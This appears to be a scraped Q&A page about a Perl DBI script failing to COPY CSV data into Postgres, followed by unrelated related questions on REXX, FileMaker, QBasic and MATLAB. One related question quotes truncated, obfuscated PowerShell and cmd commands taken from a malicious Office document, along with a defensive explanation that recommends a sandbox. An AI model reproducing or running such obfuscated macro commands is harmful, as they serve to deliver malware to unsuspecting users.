Why does Perl DBI interface fail to INSERT to Postgres table? - postgresql
I have develped a Perl script that can format data into CSV format, and want to save the data into a Postgres database table.
I'm following this tutorial as a guideline for how to interface to Postgres. I verified in the PPM that I have the same versions installed as the tutorial: 1.634 version of DBI and the 3.5.3 version of DBD::Pg installed in Perl 5.22.1 in Windows 10 x64. The database is Postgres 12 on Windows Server 2008r2.
The first part of the Perl script reads, parses, and formats one data record as CSV.
This is an example of one CSV data record:
"2020-05-10 20:39:16+0","0.528239011764526","15:39 05/10/2020","0x1c","LOW STATUS","0x85","Normal","73.8","32","29.11","29.31","61.2","29","80","0.7","2.5","22.6","378.64","3009","7","0.00","0.00","0.97","0.97","11.96"
This is stored in $SQLstring before entering the database interface snippet below:
This is the code I have modified from the tutorial, which compiles and runs without errors.
# ------------- Postgres Database Connection --------------
# Connection config
my $dbname = 'MyDatabase';
my $host = '192.168.1.1';
my $port = 5432;
my $username = 'myuser';
my $password = 'mypassword';
# Create DB handle object by connecting
my $dbh = DBI -> connect("dbi:Pg:dbname=$dbname;host=$host;port=$port",
$username,
$password,
{AutoCommit => 0, RaiseError => 1}
) or die $DBI::errstr;
# Trace to a file
$dbh -> trace(1, 'tracelog.txt');
# Copy from STDIN into the table
my $SQL = "COPY AmbientWeather (
datetimestamp ,
CurrTime ,
IndoorID ,
inBattSta ,
Outdoor1ID ,
outBattSta1 ,
inTemp ,
inHumi ,
AbsPress ,
RelPress ,
outTemp ,
outHumi ,
windir ,
avgwind ,
gustspeed ,
dailygust ,
solarrad ,
uv ,
uvi ,
rainofhourly ,
rainofdaily ,
rainofweekly ,
rainofmonthly ,
rainofyearly
)
FROM STDIN WITH DELIMITER ',' CSV HEADER";
my $sth = $dbh->do($SQL);
# putcopy data from saved line in CSV format
$dbh->pg_putcopydata($SQLstring);
$dbh->pg_putcopyend(); # finished with one line
$dbh->commit or die $DBI::errstr;
exit;
This runs without errors, but the database is unchanged. No record is created.
This is the trace log, which does not show any notable errors, but I am not really familiar with the syntax:
DBI::db=HASH(0x3c62268) trace level set to 0x0/1 (DBI # 0x0/0) in DBI 1.634-ithread (pid 19436)
<- DESTROY(DBI::db=HASH(0x3c62268))= ( undef ) [1 items] at Ambient_Parser.pl line 158
DBI::db=HASH(0x3c76ca8) trace level set to 0x0/1 (DBI # 0x0/0) in DBI 1.634-ithread (pid 2108)
<- do('COPY AmbientWeather (
datetimestamp ,
CurrTime ,
IndoorID ,
inBattSta ,
Outdoor1ID ,
outBattSta1 ,
inTemp ,
inHumi ,
AbsPress ,
RelPress ,
outTemp ,
outHumi ,
windir ,
avgwind ,
gustspeed ,
dailygust ,
solarrad ,
uv ,
uvi ,
rainofhourly ,
rainofdaily ,
rainofweekly ,
rainofmonthly ,
rainofyearly
...')= ( -1 ) [1 items] at Ambient_Parser.pl line 177
<- pg_putcopydata('"2020-05-10 20:35:59+0","0.547099113464355","15:35 05/10/2020","0x1c","LOW STATUS","0x85","Normal","73.6","32","29.11","29.31","61.3","24","193","3.8","4.9","22.6","380.54","3082","7","0.00","0.00","0.97","0.97","11.96"
')= ( 1 ) [1 items] at Ambient_Parser.pl line 182
<- pg_putcopyend= ( 1 ) [1 items] at Ambient_Parser.pl line 183
<- commit= ( 1 ) [1 items] at Ambient_Parser.pl line 184
<- DESTROY(DBI::db=HASH(0x3c76ca8))= ( undef ) [1 items] at Ambient_Parser.pl line 193
For reference line 193 is the final exit; in the file.
I must be missing something, but I don't see what it is. Can you point out my error?
Edit: I compared the options in the tutorial's command in my $SQL = "COPY.... with Postgres COPY command documentation. The tutorial adds options CSV HEADER, which are not seen in Postres docs. I'm not sure why those options are used in the tutorial, or why they cause a silent failure. I removed them and now I am getting errors.
Code from above now looks like this:
rainofyearly
)
FROM STDIN WITH DELIMITER ','";
These errors are now being output:
DBD::Pg::db pg_putcopyend failed: ERROR: invalid input syntax for type real: ""0.520319223403931""
CONTEXT: COPY ambientweather, line 1, column fetchelapsed: ""0.520319223403931"" at Ambient_Parser.pl line 186.
DBD::Pg::db pg_putcopyend failed: ERROR: invalid input syntax for type real: ""0.520319223403931""
CONTEXT: COPY ambientweather, line 1, column fetchelapsed: ""0.520319223403931"" at Ambient_Parser.pl line 186.
Issuing rollback() due to DESTROY without explicit disconnect() of DBD::Pg::db handle dbname=MyDatabase;host=192.168.1.1;port=5432 at Ambient_Parser.pl line 186.
I'm investigating why the real value is being seen as double quoted. This is the same CSV format I have used from the PSQL command line with COPY FROM , and reals were accepted as shown above.
You told it the first line would be an ignored header. But you only sent it one line. So there were no data lines sent.
CSV and HEADER are separate options. These are both present (separately) in the docs you link to. You need to keep CSV, otherwise the quoting is not understood.
Related
Save job output from SDSF into a PDS and using ISPF functions in REXX
We periodically runs jobs and we need to save the output into a PDS and then parse the output to extract parts of it to save into another member. It needs to be done by issuing a REXX command using the percent sign and the REXX member name as an SDSF command line. I've attempted to code a REXX to do this, but it is getting an error when trying to invoke an ISPF service, saying the ISPF environment has not been established. But, this is SDSF running under ISPF. My code has this in it (copied from several sources and modified): parse arg PSDSFPARMS "(" PUSERPARMS parse var PSDSFPARMS PCURRPNL PPRIMPNL PROWTOKEN PPRIMCMD . PRIMCMD=x2c(PPRIMCMD) RC = isfquery() if RC <> 0 then do Say "** SDSF environment does not exist, exec ending." exit 20 end RC = isfcalls("ON") Address SDSF "ISFGET" PPRIMPNL "TOKEN('"PROWTOKEN"')" , " (" VERBOSE ")" LRC = RC if LRC > 0 then call msgrtn "ISFGET" if LRC <> 0 then Exit 20 JOBNAME = value(JNAME.1) JOBNBR = value(JOBID.1) SMPDSN = "SMPE.*.OUTPUT.LISTINGS" LISTC. = '' SMPODSNS. = '' SMPODSNS.0 = 0 $ = outtrap('LISTC.') MSGVAL = msg('ON') address TSO "LISTC LVL('"SMPDSN"') ALL" MSGVAL = msg(MSGVAL) $ = outtrap('OFF') do LISTCi = 1 to LISTC.0 if word(LISTC.LISTCi,1) = 'NONVSAM' then do parse var LISTC.LISTCi . . DSN SMPODSNS.0 = SMPODSNS.0 + 1 i = SMPODSNS.0 SMPODSNS.i = DSN end IX = pos('ENTRY',LISTC.LISTCi) if IX <> 0 then do IX = pos('NOT FOUND',LISTC.LISTCi,IX + 8) if IX <> 0 then do address ISPEXEC "SETMSG MSG(IPLL403E)" EXITRC = 16 leave end end end LISTC. = '' if EXITRC = 16 then exit 0 address ISPEXEC "TBCREATE SMPDSNS NOWRITE" , "NAMES(TSEL TSMPDSN)" I execute this code by typing %SMPSAVE next to the spool output line on the "H" SDSF panel and it runs fine until it gets to this point in the REXX: 114 *-* address ISPEXEC "TBCREATE SMPDSNS NOWRITE" , "NAMES(TSEL TSMPDSN)" >>> "TBCREATE SMPDSNS NOWRITE NAMES(TSEL TSMPDSN)" ISPS118S SERVICE NOT INVOKED. A VALID ISPF ENVIRONMENT DOES NOT EXIST. +++ RC(20) +++ Does anyone know why it says I don't have a valid ISPF environment and how I can get around this? I've done quite a bit in the past with REXX, including writing REXX code to handle line commands, but this is the first time I've tried to use ISPEXEC commands within this code. Thank you, Alan
Overnight script returning scripting error 201 at Set Field
I have a script setup to run overnight on my Filemaker server, but every night it returns this error: Schedule "Recheck All Flags" scripting error (201) at "MasterDatabase : Recheck All Flags : ### : Set Field Where ### is just a random number, probably the line in the script. In the above example let's just say it was 398. I can't copy and paste the script to here, but it is very simple. It's one big loop over all records in the database and it checks a bunch of If statements. It looks like: If [MasterDatabase::Start date = ""] Set Field [MasterDatabase::Flagged for Discrepancy; "Yes"] Commit Records/Requests [With dialog:Off] End If Why might this be failing when running on the server overnight?
Make sure you tell the server to go to the correct layout before the script starts, when the server starts up the script it will do the work on the layout that it is configured for the DB to open by default. You can do something like: If [ $$PLATFORM = "Server" ] (Go to Layout X) End If The global variable $$PLATFORM can be defined in your On First Window Open Script like so: Case ( PatternCount ( Get ( ApplicationVersion ) ; "Server" ) ; "Server" ; PatternCount ( Get ( ApplicationVersion ) ; "Data API" ) ; "Data API" ; Get ( SystemPlatform ) = 4 ; "Web" ; Choose ( Get ( Device ) ; "Desktop" ; // 0 - Unknown "Desktop" ; // 1 - Mac "Desktop" ; // 2 - PC "Tablet" ; // 3 - Tablet "Phone" // 4 - Phone ) ) If you already have that covered then make sure whatever user you are using for the PSOS has access to that layout, records scripts and fields.
Shell or bash commands in office files
While analyzing a doc file, I see some power shell commands such as Execute Command - params "PowersHeLL & ( $sHELlId[1]+$ShEllID[13]+'X')( [StRinG]::joiN( '' ,([CHaR[]] (62 , 116, 109 ,84 ,119 , 86,88 ,58,39, 58 , 116 ,127 ,109 ,55, 117,120,112, 127 ,121,110,58 ,104,123 , 116,126, 117,119, 33 ,62 , 116 ,78 ,116 , 86, 77 ,95 ,58, 39 ,58 , 116 ,127 , 109 or Run - params [Function FqLHmmC ([vwPoLiLXwz]): 7 statement(s), 'cmd /c ^f^O^r ; ; /^F , ; " tokens= 2 delims=EFHMN" ; %^h ; ; ^iN ; ( , \' ; ft^^YpE , ; ^| ; fiNd^^str , H^^C \' ; ; ) ; ^do , ; %^h; ; n8ZAmId/vs~*t^#^Y)PUA^ ; ; h0XobFu/^C " , , ( (s^ET ^ ^` ^ =E=6^l2u^\\^h^s\'^y4D^w^XoWJNzL#^b^anGx, ^Ri^{f.P1+Fcme^3^v^0/jB^(krd;^}Z^)-^:tM^Sg^$^pOC) How these are interpreted? For example, I guess 62 , 116, 109 ,84 are decimal values. However, converting them to ascii are not meaningful. The second one, e.g fiNd^^str , H^^C \' ; ; ) ; ^do sounds like a bash script. But it is not meaningful. Does that mean, they are obfuscated? or obfuscation is something else?!
How these are interpreted? Well, these are parsed and interpreted like any other PowerShell code. It's just harder to read for humans. [char]116 is just that. You can type it into PowerShell and find out what it is (ascii code for t). Does that mean, they are obfuscated? Yes. Easiest way to deobfuscate is running the ScriptBlock logging enabled. The eventlog will unveil what actually is being executed. Since you don't know what you are going to execut: Only do this in an isolated sandbox environment!
How to save names in a Qbasic file?
I am trying to create a program in Qbasic wherein a person can enter their name and label themselves as admin or unwanted user. How do I save these preferences in my program?
If you have inputed the username with something like, INPUT "Type your username: ", uName$ To save it to a file, simply use these commands: OPEN "User.dat" FOR OUTPUT AS #1 PRINT #1, uName$ CLOSE #1 Here's a complete program: DEFINT A-Z 'Error handler for the first time we run the program. The data file won't exist, so we create it. ON ERROR GOTO FileNotExist 'Create a type and an Array of users that would include Username and the Status (adminstrator vs. Unwanted user) TYPE user Uname AS STRING * 16 Status AS STRING * 1 END TYPE DIM Users(1 TO 100) AS user 'Gets all the users stored in the file. i is a variable which represents the number of users before adding a new user i = 0 OPEN "User.txt" FOR INPUT AS #1 WHILE NOT EOF(1) i = i + 1 INPUT #1, Users(i).Uname INPUT #1, Users(i).Status WEND CLOSE #1 TryAgain: 'Gets info for the new user CLS INPUT "User name: ", Users(i + 1).Uname PRINT "Admin (a), Unwanted user (u), or Regular user (r) ?" Users(i + 1).Status = LCASE$(INPUT$(1)) 'Ensure there are no blank lines in the file IF Users(i + 1).Uname = "" OR Users(i + 1).Status = "" THEN GOTO TryAgain 'Outputs user data to the file "User.txt" OPEN "User.txt" FOR OUTPUT AS #1 FOR j = 1 TO i + 1 PRINT #1, Users(j).Uname PRINT #1, Users(j).Status NEXT j CLOSE #1 'Just for a closer: Prints all the current users. CLS FOR j = 1 TO i + 1 PRINT Users(j).Uname, IF Users(j).Status = "a" THEN PRINT "Amdinistrator" ELSE IF Users(j).Status = "u" THEN PRINT "Unwanted User" ELSE IF Users(j).Status = "r" THEN PRINT "Regular user" ELSE PRINT Users(j).Status NEXT j END '*** ERROR HANDLER: *** FileNotExist: OPEN "User.txt" FOR OUTPUT AS #1 CLOSE RESUME
To save a name into a file, you will need to use the WRITE statement. Eg: OPEN "Name.txt" FOR OUTPUT AS #1 INPUT"Enter a name";a$ WRITE #1,a$ CLOSE #1 END
Reading a ply file in matlab (output from Noah Snavely's tool Bundler)
I'm trying to open .ply files and display them in matlab using the following code : http://people.sc.fsu.edu/~jburkardt/m_src/ply_display/ply_display.m But it is showing an error XY_DISPLAY: Enter the name of the point file (in 'quotes'!). 'C:\SFM\examples\ET\bundle\points001.ply'; 27 verbose = 0; Error using ply_display>ply_to_tri_surface (line 140) No such file or directory Error in ply_display (line 48) [ node_xyz, element_node ] = ply_to_tri_surface ( ply_filename ); Error in ply_display>ply_to_tri_surface (line 732) ply_display ( 'C:\SFM\examples\new one\bundle\points001.ply' ); Error in ply_display (line 48) [ node_xyz, element_node ] = ply_to_tri_surface ( ply_filename ); Can anyone please help me regarding this ? Thanks!
As should be pretty clear from the error output, your error is not in line 27 (actually I don't know why that shows up). What the error trace shows you is this: 1) The error starts when ply_display calls another function, ply_to_tri_surface (which is defined in the same file). [ node_xyz, element_node ] = ply_to_tri_surface ( ply_filename ); 2) Within that second function, the actual error is being triggered at line 140: Error using ply_display>ply_to_tri_surface (line 140) No such file or directory (The reference to line 732 is a bit of a red herring - that is because this is where the error is being returned from ply_to_tri_surface to ply_display I think). Looking at the actual code, this is the part causing the error (around line 140) - where the program first tries to open your file: [ fid, Msg ] = fopen ( ply_filename, 'rt' ); if ( fid == -1 ) error ( Msg ); end That is, ply_filename - your ply file - cannot be found. Either the filename is wrong or the way you are inputting it (are you typing that semicolon at the end of the filename?) is causing issues. Two options: 1) Run dbstop if error, then re-run the code. When it errors, you should be able to see what ply_filename contains. (Run dbquit to exit debug mode). 2) Input your filename directly when running by calling the function from the command line, e.g. ply_display('test.ply') or ply_display(filename) where filename is a previously defined variable.